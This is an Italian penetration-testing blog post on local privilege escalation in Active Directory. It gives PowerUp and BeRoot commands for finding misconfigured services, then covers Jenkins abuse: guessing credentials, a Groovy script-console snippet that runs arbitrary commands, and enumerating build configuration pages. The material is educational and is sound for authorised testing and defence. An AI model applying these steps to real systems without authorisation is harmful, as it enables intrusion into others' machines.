Andrea Bruschi, Cyber Security Analyst

Local privilege escalation

Published by Andy

In un ambiente Active Directory ci sono molteplici scenari che portano all'escalation dei privilegi. Un paio di questi sono l'accesso locale come amministratore su altre macchine e account di dominio con privilegi elevati come un amministratore di dominio (Domain Administrator). Alcuni dei modi per elevare i privilegi sono i seguenti:

  • Missing patches
  • Automated deployment and AutoLogon passwords in clear text
  • AlwaysInstallElevated
  • Misconfigured Services (Permessi, unquoted service path, etc)
  • DLL Hijacking and more

Un altro metodo da tenere in considerazione è il "Features abuse". Molte organizzazioni sviluppano o integrano programmi, applicazioni web etc senza prestare particolare attenzione alla sicurezza a causa di lavori urgenti o addirittura la sviluppo è affidato a programmatori improvvisati. Durante l'enumerazione quindi è opportuno prestare particolare attenzione all'esistenza di applicazioni customizzate che implementano delle features quali l'esecuzione di comandi sulla macchina. Alcuni di questi software potrebbero essere, ad esempio, tools di continuous integrations tipo Jenkins.

Alcuni tool che ci vengono in aiuto sono elencati qui sotto:

In questo articolo focalizzeremo l'attenzione sui servizi mal configurati.

Unquoted service paths

PowerUp
PS C:\> Get-ServiceUnquoted -Verbose

Servizio modificabile (binary o argomenti)

PowerUp
PS C:\> Get-ModifiableServiceFile -Verbose

Servizi che l'utente corrente può modificare

PowerUp
Get-ModifiableService -Verbose

Lanciare tutti i checks

PowerUp
PS C:\> Invoke-AllChecks

BeRoot
.\beRoot.exe

Privesc
PS C:\> Invoke-PrivEsc

Nota: C:\Program Files (x86)\dir\dir\service.exe non è vulnerabile ad unquoted service path. Anche se uno di questi tool lo riporta, si tratta di un falso positivo. Questo perchè per salvare Program.exe dentro C: occorrono i diritti di amministratore.

Exploiting Jenkins

  • Testare username = password
  • Testare username = username inverso

Se si ottiene l'accesso a Jenkins come amministratore è possibile eseguire degli script Groovy. Visitare ad esempio http://jenkinsurl:8080/script e ci troveremo di fronte ad una console in cui possiamo scrivere il nostro codice.

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'whoami'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Sostituire whoami con il comando che si desidera eseguire.

Un altro tentativo da eseguire, nel caso in cui riuscissimo a loggare come utente senza privilegi, è controllare se ci è possibile configurare delle builds.

Visitare http://jenkinsurl:8080/job/Project0/configure, se non riceviamo "Access Denied" ci troveremo di fronte ad una console il cui potremo eseguire dei comandi. Nel caso in cui ricevessimo "Access Denied" è necessario testare gli altri progetti cambiando Project0 nell'url in Project1, Project2, Project[...], Project[n]

In caso di successo ci troveremo di fronte ad una console del genere in cui possiamo scrivere comandi in maniera arbitraria.

Tornare alla home di Jenkins, cliccare su Build Now e su "Build History" troveremo il nostro batch pronto da eseguire. Tasto destro sulla build > console output e il gioco è fatto.

This article is my 5th oldest. It is 464 words long